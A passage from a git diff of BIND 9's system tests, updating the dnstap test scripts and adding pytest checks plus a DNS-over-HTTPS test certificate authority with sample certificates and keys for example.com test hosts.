 	echo_i "checking UPDATE_RESPONSE message counts"
 	ret=0
@@ -766,40 +804,54 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 fi
 
 echo_i "checking large packet printing"
 ret=0
 # Expect one occurrence of "opcode: QUERY" below "reponse_message_data" and
 # another one below "response_message".
-lines=`$DNSTAPREAD -y large-answer.fstrm | grep -c "opcode: QUERY"`
+lines=$($DNSTAPREAD -y large-answer.fstrm | grep -c "opcode: QUERY")
 [ $lines -eq 2 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-test_dnstap_roll() (
+_test_dnstap_roll() (
     ip="$1"
     ns="$2"
     n="$3"
+
     $RNDCCMD -s "${ip}" dnstap -roll "${n}" | sed "s/^/${ns} /" | cat_i &&
     files=$(find "$ns" -name "dnstap.out.[0-9]" | wc -l) &&
-    test "$files" -le "${n}" && test "$files" -ge "1"
+    test "$files" -eq "${n}" && test "$files" -ge "1" || return 1
 )
 
-echo_i "checking 'rndc -roll <value>' (no versions)"
-ret=0
-start_server --noclean --restart --port "${PORT}" dnstap ns3
-_repeat 5 test_dnstap_roll 10.53.0.3 ns3 3 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
 
-echo_i "checking 'rndc -roll <value>' (versions)"
-ret=0
-start_server --noclean --restart --port "${PORT}" dnstap ns2
-_repeat 5 test_dnstap_roll 10.53.0.2 ns2 3 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+test_dnstap_roll() {
+	echo_i "checking 'rndc -roll $4' ($1)"
+	ret=0
+
+	try=0
+	while test $try -lt 12
+	do
+		touch "$3/dnstap.out.$try"
+		try=$((try + 1))
+	done
+
+	_repeat 10 _test_dnstap_roll $2 $3 $4 || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+}
+
+start_server --noclean --restart --port "${PORT}" ns3
+test_dnstap_roll "no versions" 10.53.0.3 ns3 6
+test_dnstap_roll "no versions" 10.53.0.3 ns3 3
+test_dnstap_roll "no versions" 10.53.0.3 ns3 1
+
+start_server --noclean --restart --port "${PORT}" ns2
+test_dnstap_roll "versions" 10.53.0.2 ns2 6
+test_dnstap_roll "versions" 10.53.0.2 ns2 3
+test_dnstap_roll "versions" 10.53.0.2 ns2 1
 
 echo_i "exit status: $status"
 [ "$status" -eq 0 ] || exit 1
diff --git a/bin/tests/system/dnstap/tests_dnstap.py b/bin/tests/system/dnstap/tests_dnstap.py
new file mode 100644
index 0000000000..ca687b0fc2
--- /dev/null
+++ b/bin/tests/system/dnstap/tests_dnstap.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import os
+import re
+import subprocess
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.resolver
+
+
+def run_rndc(server, rndc_command):
+    """
+    Send the specified 'rndc_command' to 'server' with a timeout of 10 seconds
+    """
+    rndc = os.getenv("RNDC")
+    port = os.getenv("CONTROLPORT")
+
+    cmdline = [rndc, "-c", "../common/rndc.conf", "-p", port, "-s", server]
+    cmdline.extend(rndc_command)
+
+    subprocess.check_output(cmdline, stderr=subprocess.STDOUT, timeout=10)
+
+
+def test_dnstap_dispatch_socket_addresses(named_port):
+    # Prepare for querying ns3.
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = ["10.53.0.3"]
+    resolver.port = named_port
+
+    # Send some query to ns3 so that it records something in its dnstap file.
+    ans = resolver.resolve("mail.example.", "A")
+    assert ans[0].address == "10.0.0.2"
+
+    # Before continuing, roll dnstap file to ensure it is flushed to disk.
+    run_rndc("10.53.0.3", ["dnstap", "-roll", "1"])
+
+    # Move the dnstap file aside so that it is retained for troubleshooting.
+    os.rename(os.path.join("ns3", "dnstap.out.0"), "dnstap.out.resolver_addresses")
+
+    # Read the contents of the dnstap file using dnstap-read.
+    output = subprocess.check_output(
+        [os.getenv("DNSTAPREAD"), "dnstap.out.resolver_addresses"], encoding="utf-8"
+    )
+
+    # Check whether all frames contain the expected addresses.
+    #
+    # Expected dnstap-read output format:
+    #
+    #     22-Jun-2022 12:09:06.168 RR 10.53.0.3:0 -> 10.53.0.1:7523 TCP ...
+    #     22-Jun-2022 12:09:06.168 RR 10.53.0.3:0 <- 10.53.0.1:7523 TCP ...
+    #     22-Jun-2022 12:09:06.168 RQ 10.53.0.3:56306 -> 10.53.0.2:7523 UDP ...
+    #     22-Jun-2022 12:09:06.168 RQ 10.53.0.3:56306 <- 10.53.0.2:7523 UDP ...
+    #
+    bad_frames = []
+    inspected_frames = 0
+    addr_regex = r"^10\.53\.0\.[0-9]+:[0-9]{1,5}$"
+    for line in output.splitlines():
+        _, _, frame_type, addr1, _, addr2, _ = line.split(" ", 6)
+        # Only inspect RESOLVER_QUERY and RESOLVER_RESPONSE frames.
+        if frame_type not in ("RQ", "RR"):
+            continue
+        inspected_frames += 1
+        if not re.match(addr_regex, addr1) or not re.match(addr_regex, addr2):
+            bad_frames.append(line)
+
+    assert (
+        len(bad_frames) == 0
+    ), "{} out of {} inspected frames contain unexpected addresses:\n\n{}".format(
+        len(bad_frames), inspected_frames, "\n".join(bad_frames)
+    )
diff --git a/bin/tests/system/dnstap/tests_sh_dnstap.py b/bin/tests/system/dnstap/tests_sh_dnstap.py
new file mode 100644
index 0000000000..8094f0d6c8
--- /dev/null
+++ b/bin/tests/system/dnstap/tests_sh_dnstap.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dnstap(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/dnstap/ydump.py b/bin/tests/system/dnstap/ydump.py
index 05ebe72c03..ab7e3c9ada 100644
--- a/bin/tests/system/dnstap/ydump.py
+++ b/bin/tests/system/dnstap/ydump.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 import sys
 
@@ -22,7 +22,7 @@
 
 DNSTAP_READ = sys.argv[1]
 DATAFILE = sys.argv[2]
-ARGS = [DNSTAP_READ, '-y', DATAFILE]
+ARGS = [DNSTAP_READ, "-y", DATAFILE]
 
 with subprocess.Popen(ARGS, stdout=subprocess.PIPE) as f:
     for y in yaml.load_all(f.stdout, Loader=yaml.SafeLoader):
diff --git a/bin/tests/system/doth/.gitignore b/bin/tests/system/doth/.gitignore
new file mode 100644
index 0000000000..c33e4785f1
--- /dev/null
+++ b/bin/tests/system/doth/.gitignore
@@ -0,0 +1,9 @@
+gnutls-cli.*
+headers.*
+ns*/example.db
+ns*/named.conf
+# temporary files generated by "openssl ca"
+/CA/*.old
+# there is little point in keeping the certificate requests
+# for the issued certificates
+/CA/certs/*.csr
diff --git a/bin/tests/system/doth/CA/CA.cfg b/bin/tests/system/doth/CA/CA.cfg
new file mode 100644
index 0000000000..dcdff1f136
--- /dev/null
+++ b/bin/tests/system/doth/CA/CA.cfg
@@ -0,0 +1,121 @@
+## How To
+# To issue a certificate:
+#
+# 1. Generate the next certificate serial (if the file does not exist):
+# xxd -l 8 -u -ps /dev/urandom > ./serial
+# 2. Create the new certificate request (e.g. for foo.example.com):
+#  openssl req -config ./CA.cfg -new -subj "/CN=foo.example.com" \
+#                  -addext "subjectAltName=DNS:foo.example.com,IP:X.X.X.X" \
+#                  -newkey rsa -keyout ./certs/foo.example.com.key \
+#                  -out ./certs/foo.example.com.csr
+#
+# The above will generate request for an RSA-based certificate. One
+# can issue an ECDSA-based certificate by replacing "-newkey rsa" with
+# "-newkey ec -pkeyopt ec_paramgen_curve:secp384r1".
+#
+# 3. Issue the certificate:
+# openssl ca -config ./CA.cfg -in ./certs/foo.example.com.csr \
+#                             -out ./certs/foo.example.com.pem
+#
+# To cleanup the internal database from expired certificates:
+#
+# 1.  openssl ca -config ./CA.cfg -updatedb
+#
+# To revoke a certificate:
+#
+# 1. Revoke the certificate via file  (e.g. for foo.example.com):
+# openssl ca -config ./CA.cfg -revoke ./certs/foo.example.com.pem
+# 2. Optionally remove the certificate file if you do not need it anymore:
+# rm ./certs/foo.example.com.pem
+# 3. Generate the certificate revocation list file: CRL (e.g. revoked.crl):
+# openssl ca -config ./CA.cfg -gencrl > ./revoked.crl
+#
+# The key for CA was generated like follows
+# openssl genrsa -out ./CA.key 3072
+# openssl req -x509 -new -key ./CA.key -days 10950 -out ./CA.pem
+#
+# See also:
+#
+# - https://jamielinux.com/docs/openssl-certificate-authority/index.html
+# - https://www.openssl.org/docs/man1.1.1/man1/ca.html
+# - https://www.openssl.org/docs/man1.1.1/man1/openssl-req.html
+# - https://security.stackexchange.com/questions/74345/provide-subjectaltname-to-openssl-directly-on-the-command-line
+# - https://security.stackexchange.com/a/190646 - for ECDSA certificates
+# - https://gist.github.com/Soarez/9688998
+# - https://habr.com/ru/post/192446/ - Beware, your screen might "go Cyrillic"!
+
+# certificate authority configuration
+[ca]
+default_ca      = CA_default               # The default ca section
+
+[CA_default]
+dir            = .
+new_certs_dir  = $dir/newcerts         # new certs dir (must be created)
+certificate    = $dir/CA.pem           # The CA cert
+private_key    = $dir/private/CA.key   # CA private key
+
+serial         = $dir/serial           # serial number file for the next certificate
+                                       # Update before issuing it:
+                                       # xxd -l 8 -u -ps /dev/urandom > ./serial
+database = $dir/index.txt                 # (must be created manually: touch ./index.txt)
+
+default_days   = 10950                 # how long to certify for
+
+#default_crl_days = 30                 # the number of days before the
+default_crl_days = 10950               # next CRL is due. That is the
+                                       # days from now to place in the
+                                       # CRL nextUpdate field.  If CRL
+                                       # is expired, certificate
+                                       # verifications will fail even
+                                       # for otherwise valid
+                                       # certificates. Clients might
+                                       # cache the CRL, so the expiry
+                                       # period should normally be
+                                       # relatively short (default:
+                                       # 30) for production CAs.
+
+default_md     = sha256                # digest to use
+
+policy         = policy_default        # default policy
+email_in_dn    = no                    # Don't add the email into cert DN
+
+name_opt       = ca_default            # Subject name display option
+cert_opt       = ca_default            # Certificate display option
+
+# We need the following in order to copy Subject Alt Name(s) from a
+# request to the certificate.
+copy_extensions = copy                 # copy extensions from request
+
+[policy_default]
+countryName            = optional
+stateOrProvinceName    = optional
+organizationalUnitName = optional
+commonName             = supplied
+emailAddress           = optional
+
+# default certificate requests settings
+[req]
+# Options for the `req` tool (`man req`).
+default_bits        = 3072 # for RSA only
+distinguished_name  = req_default
+string_mask         = utf8only
+# SHA-1 is deprecated, so use SHA-256 instead.
+default_md          = sha256
+# do not encrypt the private key file
+encrypt_key         = no
+
+[req_default]
+# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.
+countryName                     = Country Name (2 letter code)
+stateOrProvinceName             = State or Province Name (full name)
+localityName                    = Locality Name (e.g., city)
+0.organizationName              = Organization Name (e.g., company)
+organizationalUnitName          = Organizational Unit Name (e.g. department)
+commonName                      = Common Name (e.g. server FQDN or YOUR name)
+emailAddress                    = Email Address
+# defaults
+countryName_default                     = UA
+stateOrProvinceName_default             = Kharkiv Oblast
+localityName_default                    = Kharkiv
+0.organizationName_default              = ISC
+organizationalUnitName_default          = Software Engeneering (BIND 9)
diff --git a/bin/tests/system/doth/CA/CA.pem b/bin/tests/system/doth/CA/CA.pem
new file mode 100644
index 0000000000..1f725dbb8a
--- /dev/null
+++ b/bin/tests/system/doth/CA/CA.pem
@@ -0,0 +1,29 @@
+-----BEGIN CERTIFICATE-----
+MIIE3TCCA0WgAwIBAgIUeZPKrvbGEBZaRc2jNczlIsJXyPYwDQYJKoZIhvcNAQEL
+BQAwfTELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4G
+A1UEBwwHS2hhcmtpdjEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0
+aXVtMRwwGgYDVQQDDBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDEyNDEyNDA1
+NFoYDzIwNTIwMTE3MTI0MDU0WjB9MQswCQYDVQQGEwJVQTEYMBYGA1UECAwPS2hh
+cmtpdiBPYmxhc3QnMRAwDgYDVQQHDAdLaGFya2l2MSQwIgYDVQQKDBtJbnRlcm5l
+dCBTeXN0ZW1zIENvbnNvcnRpdW0xHDAaBgNVBAMME2NhLnRlc3QuZXhhbXBsZS5j
+b20wggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCi6hEegBzpUKbE1NTo
+Z7uz7EMUY7TBckkiw/7ydTLKNa8YI4JpBguFvWQsDY0dGFJIoVwyHyNx3seW/LoI
+B5zWPZ2xbOvLLceA+t2NZpbc98E7jUOVS123yED+nqlfZjCq9Zt0r/ezwnQtjnFF
+ko1mcU4H9Jvg8aIgnU2AxE78zciU9CY8799pFFNThIjbooI8oVbfjbzbpmLzxjA5
+3rDmZBTh+ySTlMa2U2oT4WPjRltZWnJVegRRLpG95GnTbQ1fkJAbj1Iu10XTkCee
+wBOqaA1UJem0a6pby5odE414Y7c0ETKcmaJtYENQyO0IJwZWDKtVe5OTIAklakia
+eyFTCAw1h5tHCYLaJW/Yu2wlLl5RNQcRZ9+cWXnldTY+TI1iBjfmADjLdKJYUlhX
+z7kWJtTi63Sdv6WYcEXxaWpxT+R3e2kaR/R7GOo4gdkWpX1siGlRteHHH2/36CSQ
+ZD2etcTUpGW+KDHFR4grnEfL1rt9UgvCjpa4KcssmZtWSSUCAwEAAaNTMFEwHQYD
+VR0OBBYEFHyJ6Fzr5R9ySATFj/uSCJz1YCY5MB8GA1UdIwQYMBaAFHyJ6Fzr5R9y
+SATFj/uSCJz1YCY5MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggGB
+AF3y0hvzyZWtmuG1JwIcOcc1aPl1KdRy8bao/5iHYGYYrsdDgcO5/e+y9S/izalc
+TdW7SKB5iBOCiE8fBNtToCvGP+fxNxHijpAmTr37G5sWuSo1T1VYFizHWL+df/Ig
+TcSvDrEjSnAwaEdNJUWtjoIC4VzNKTLtZf16QIATTzTZa3bfgSetpWS7LhLQbHod
+CSGI2QB1LRbqGC+a1Y85QxHv81jWzPWPzXYvnOLrDdQyBMOBcxDzrN4b6zg+5Itz
+qGYt+IS71jAH0IhxAyD/U5n1jGJv02BnSq0ynLEOD6gsnZjqAwPbt/PM9pGbtbXO
+70Q9rxr+vQc1IISKAEiH3txaEPi10wU98d6LbInJvQrmgHo/ntet8skWNYuxlEzS
+wvynuE9KvvQtOTodWt5AePtKrhHdxu527a4CHVp59nYUjKSdMKjvmhMRXM1cNjFE
+rA/pyyhozR47w3RzHMJVHw2GJ2B/HeqmxpXr1CmJjoRP38QCR7N+mqiZy85Fq2j2
+8Q==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/README b/bin/tests/system/doth/CA/README
new file mode 100644
index 0000000000..13069ca2f8
--- /dev/null
+++ b/bin/tests/system/doth/CA/README
@@ -0,0 +1,2 @@
+Please take a look at the contents of the CA.cfg file for further
+instructions and configurations options.
diff --git a/bin/tests/system/doth/CA/certs/srv01.client01.example.com.key b/bin/tests/system/doth/CA/certs/srv01.client01.example.com.key
new file mode 100644
index 0000000000..9da02ddb1b
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client01.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDCq9Z95YLiCPSevj5Xm
+lB/ijFFlZb8AT2bHUyL1fmivBm8JfjSa/j3pZePAF7rltyChZANiAARek2p62nXM
+ZAjk+PkvK4U27uHf+s1MYPFEtRZ7+QPPoAhnb64no5WKaB5jq88uIGJS54w+Hu/e
+DWlkZbbk3/4aSPhodYSDEfuBWQ7Blkh/JNoR3azLCsUJeCQxOt835rM=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.client01.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.client01.example.com.pem
new file mode 100644
index 0000000000..0b4c115d1c
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client01.example.com.pem
@@ -0,0 +1,68 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207431 (0x6bb3183cdef52007)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb 10 17:44:20 2022 GMT
+            Not After : Feb  3 17:44:20 2052 GMT
+        Subject: CN=srv01.client01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:5e:93:6a:7a:da:75:cc:64:08:e4:f8:f9:2f:2b:
+                    85:36:ee:e1:df:fa:cd:4c:60:f1:44:b5:16:7b:f9:
+                    03:cf:a0:08:67:6f:ae:27:a3:95:8a:68:1e:63:ab:
+                    cf:2e:20:62:52:e7:8c:3e:1e:ef:de:0d:69:64:65:
+                    b6:e4:df:fe:1a:48:f8:68:75:84:83:11:fb:81:59:
+                    0e:c1:96:48:7f:24:da:11:dd:ac:cb:0a:c5:09:78:
+                    24:31:3a:df:37:e6:b3
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client01.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         82:bd:eb:8f:4e:a5:d2:46:c7:d8:70:3c:34:1d:58:43:1b:81:
+         16:5d:c2:b0:76:4b:a9:f2:10:14:23:e4:ef:dc:59:03:b6:7f:
+         b0:40:34:e5:d0:82:4b:95:a6:07:9a:45:51:94:cf:08:c2:4e:
+         c9:44:d5:f3:b6:ed:f2:a0:01:94:ad:e0:0e:0f:ab:85:6f:35:
+         4b:07:c8:97:25:fb:69:ff:a1:99:bc:ec:70:6c:51:b5:32:95:
+         e9:c9:45:cf:45:e2:c5:5e:b1:59:a2:e1:f2:83:c8:87:68:c4:
+         60:e2:db:50:6c:18:64:1b:9a:9a:cc:7c:e7:fd:d9:f2:b7:d1:
+         de:1d:ec:29:c9:58:db:7b:9a:a1:06:9a:ce:36:a0:45:10:dc:
+         7d:81:24:21:34:30:4c:71:f9:fc:96:37:d6:cf:0d:9d:11:12:
+         c7:62:bc:19:5b:79:e5:e0:37:e8:17:36:4b:13:af:fa:2c:2e:
+         36:d9:be:53:e1:c3:f9:bc:94:a6:7a:97:14:99:36:f9:14:38:
+         11:20:3a:2a:9d:fd:64:63:d0:a2:8f:f0:99:a9:02:ca:57:48:
+         d2:7d:65:44:b6:85:a0:38:ec:e8:19:7e:c2:48:e3:1d:22:53:
+         cf:3b:d4:0a:98:e1:72:62:ec:8b:01:3f:5a:ea:26:2c:8c:16:
+         c3:80:5a:c2:5d:40:c5:65:1c:e2:9a:e3:d6:65:16:ee:dc:17:
+         30:d8:26:87:92:d0:ef:c7:72:07:99:86:05:9e:49:35:41:33:
+         b9:bb:cb:1b:25:50:70:85:e3:0f:c7:b9:b2:37:00:1b:87:a2:
+         47:97:34:5b:cd:dc:66:22:e5:de:25:ec:57:fe:37:75:2c:03:
+         10:f4:d4:a7:cc:f5:4b:0b:ff:eb:d3:a6:78:2e:cd:8f:65:51:
+         a7:8c:ef:83:67:ec:94:13:c2:1f:74:74:55:7c:a3:0b:b7:2f:
+         80:5a:62:04:1d:a2:c0:c1:de:b2:7d:31:3b:a1:fa:f7:40:a7:
+         bd:12:25:95:5b:8b
+-----BEGIN CERTIFICATE-----
+MIIDITCCAYmgAwIBAgIIa7MYPN71IAcwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIxMDE3NDQyMFoYDzIwNTIwMjAz
+MTc0NDIwWjAlMSMwIQYDVQQDDBpzcnYwMS5jbGllbnQwMS5leGFtcGxlLmNvbTB2
+MBAGByqGSM49AgEGBSuBBAAiA2IABF6TanradcxkCOT4+S8rhTbu4d/6zUxg8US1
+Fnv5A8+gCGdvriejlYpoHmOrzy4gYlLnjD4e794NaWRltuTf/hpI+Gh1hIMR+4FZ
+DsGWSH8k2hHdrMsKxQl4JDE63zfms6MpMCcwJQYDVR0RBB4wHIIac3J2MDEuY2xp
+ZW50MDEuZXhhbXBsZS5jb20wDQYJKoZIhvcNAQELBQADggGBAIK9649OpdJGx9hw
+PDQdWEMbgRZdwrB2S6nyEBQj5O/cWQO2f7BANOXQgkuVpgeaRVGUzwjCTslE1fO2
+7fKgAZSt4A4Pq4VvNUsHyJcl+2n/oZm87HBsUbUylenJRc9F4sVesVmi4fKDyIdo
+xGDi21BsGGQbmprMfOf92fK30d4d7CnJWNt7mqEGms42oEUQ3H2BJCE0MExx+fyW
+N9bPDZ0REsdivBlbeeXgN+gXNksTr/osLjbZvlPhw/m8lKZ6lxSZNvkUOBEgOiqd
+/WRj0KKP8JmpAspXSNJ9ZUS2haA47OgZfsJI4x0iU8871AqY4XJi7IsBP1rqJiyM
+FsOAWsJdQMVlHOKa49ZlFu7cFzDYJoeS0O/HcgeZhgWeSTVBM7m7yxslUHCF4w/H
+ubI3ABuHokeXNFvN3GYi5d4l7Ff+N3UsAxD01KfM9UsL/+vTpnguzY9lUaeM74Nn
+7JQTwh90dFV8owu3L4BaYgQdosDB3rJ9MTuh+vdAp70SJZVbiw==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.key b/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.key
new file mode 100644
index 0000000000..91cb6cafe9
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.key
@@ -0,0 +1,6 @@
+-----BEGIN PRIVATE KEY-----
+MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDD1/sp/yNsAc9Z6TPhm
+0xT0ZhSf/9XJD6daSpdUDJ/nEJKa+sBXDWJHuXrbNRqUK2qhZANiAATmRfpXEmxZ
+ECOLelx2M+s7Qfq3HJCzLzMtRXvj5baloqKkFPRQnbDGOLrpRWWkZbkQMi+Tm9XY
+z7QpW9xOyOymn1h2JPTF0UhVUutdsIWThe4+uMSxzQhZlRL/e5vuark=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.pem b/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.pem
new file mode 100644
index 0000000000..1b43bbd293
--- /dev/null
+++ b/bin/tests/system/doth/CA/certs/srv01.client02-ns2.example.com.pem
@@ -0,0 +1,68 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207432 (0x6bb3183cdef52008)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb 11 13:21:12 2022 GMT
+            Not After : Feb  4 13:21:12 2052 GMT
+        Subject: CN=srv01.client02-ns2.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:e6:45:fa:57:12:6c:59:10:23:8b:7a:5c:76:33:
+                    eb:3b:41:fa:b7:1c:90:b3:2f:33:2d:45:7b:e3:e5:
+                    b6:a5:a2:a2:a4:14:f4:50:9d:b0:c6:38:ba:e9:45:
+                    65:a4:65:b9:10:32:2f:93:9b:d5:d8:cf:b4:29:5b:
+                    dc:4e:c8:ec:a6:9f:58:76:24:f4:c5:d1:48:55:52:
+                    eb:5d:b0:85:93:85:ee:3e:b8:c4:b1:cd:08:59:95:
+                    12:ff:7b:9b:ee:6a:b9
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client02-ns2.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         43:ec:0f:62:17:f6:f4:90:3b:7c:36:21:f2:18:94:a6:42:51:
+         1e:1d:2a:43:8f:05:b7:8d:3c:ca:f0:20:2f:65:4b:be:48:ad:
+         6a:0a:cc:2d:1f:d6:27:1d:af:4a:36:86:ed:0d:03:75:c5:71:
+         ec:58:9b:ec:f9:0f:e4:83:ef:6f:91:da:20:73:47:ac:e7:c7:
+         8b:22:b2:d1:6e:a0:b0:d6:1c:4c:70:1e:74:08:1d:7f:61:06:
+         e5:be:f3:e8:c4:15:60:e2:b0:02:9b:f0:13:af:76:5b:a8:c7:
+         91:2c:10:5f:0d:32:89:51:5a:7f:17:1b:7c:c6:46:97:ee:e7:
+         bb:8a:48:38:a2:52:d4:ff:3b:1c:ec:4a:a9:8c:a5:23:3a:04:
+         bb:d7:b8:ad:5b:69:7f:1d:be:ca:96:e0:eb:56:05:43:ee:c8:
+         ff:2c:48:03:00:c6:c2:ac:fc:4e:15:47:86:c5:33:ed:70:f6:
+         98:bc:0b:07:b9:5b:1a:ec:fd:3c:bf:26:61:68:fc:db:02:55:
+         07:ae:76:0e:be:ff:c5:b8:56:fb:52:54:a4:b1:2d:64:b4:1d:
+         55:02:4f:da:06:bd:26:e4:22:d2:94:1f:7e:29:c4:97:10:d1:
+         75:7d:41:53:be:46:52:70:b1:d9:ff:bb:9f:96:19:e3:a0:ba:
+         d0:4a:5a:8d:da:22:73:89:f0:4c:e6:18:80:53:be:bd:64:56:
+         6a:c9:58:71:40:66:9e:4a:3e:31:3b:74:9e:6e:6a:f5:65:ca:
+         93:06:52:00:74:65:a0:3a:eb:2e:56:56:d2:a5:4b:0e:85:17:
+         25:78:cb:f3:f9:53:7b:85:f9:82:15:87:bc:36:70:b5:69:64:
+         48:11:79:b9:2c:2e:cc:09:fd:0f:b0:b7:cd:97:3b:c7:0f:49:
+         1a:fc:15:49:d6:1c:a9:dc:14:ff:44:d2:be:5a:36:00:66:0c:
+         d5:b8:bf:16:9e:60:27:79:c0:f5:b4:ff:2f:af:8c:b2:49:75:
+         61:44:05:1a:e8:cd
+-----BEGIN CERTIFICATE-----
+MIIDKTCCAZGgAwIBAgIIa7MYPN71IAgwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIxMTEzMjExMloYDzIwNTIwMjA0
+MTMyMTEyWjApMScwJQYDVQQDDB5zcnYwMS5jbGllbnQwMi1uczIuZXhhbXBsZS5j
+b20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATmRfpXEmxZECOLelx2M+s7Qfq3HJCz
+LzMtRXvj5baloqKkFPRQnbDGOLrpRWWkZbkQMi+Tm9XYz7QpW9xOyOymn1h2JPTF
+0UhVUutdsIWThe4+uMSxzQhZlRL/e5vuarmjLTArMCkGA1UdEQQiMCCCHnNydjAx
+LmNsaWVudDAyLW5zMi5leGFtcGxlLmNvbTANBgkqhkiG9w0BAQsFAAOCAYEAQ+wP
+Yhf29JA7fDYh8hiUpkJRHh0qQ48Ft408yvAgL2VLvkitagrMLR/WJx2vSjaG7Q0D
+dcVx7Fib7PkP5IPvb5HaIHNHrOfHiyKy0W6gsNYcTHAedAgdf2EG5b7z6MQVYOKw
+ApvwE692W6jHkSwQXw0yiVFafxcbfMZGl+7nu4pIOKJS1P87HOxKqYylIzoEu9e4
+rVtpfx2+ypbg61YFQ+7I/yxIAwDGwqz8ThVHhsUz7XD2mLwLB7lbGuz9PL8mYWj8
+2wJVB652Dr7/xbhW+1JUpLEtZLQdVQJP2ga9JuQi0pQffinElxDRdX1BU75GUnCx
+2f+7n5YZ46C60Epajdoic4nwTOYYgFO+vWRWaslYcUBmnko+MTt0nm5q9WXKkwZS
+AHRloDrrLlZW0qVLDoUXJXjL8/lTe4X5ghWHvDZwtWlkSBF5uSwuzAn9D7C3zZc7
+xw9JGvwVSdYcqdwU/0TSvlo2AGYM1bi/Fp5gJ3nA9bT/L6+Mskl1YUQFGujN
+-----END CERTIFICATE-----
